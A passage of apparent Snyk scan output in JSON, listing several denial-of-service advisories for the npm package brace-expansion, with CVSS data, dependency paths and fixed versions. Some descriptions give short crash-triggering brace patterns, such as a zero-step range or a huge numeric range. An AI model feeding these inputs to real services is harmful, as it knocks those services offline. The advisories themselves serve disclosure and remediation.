"assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": 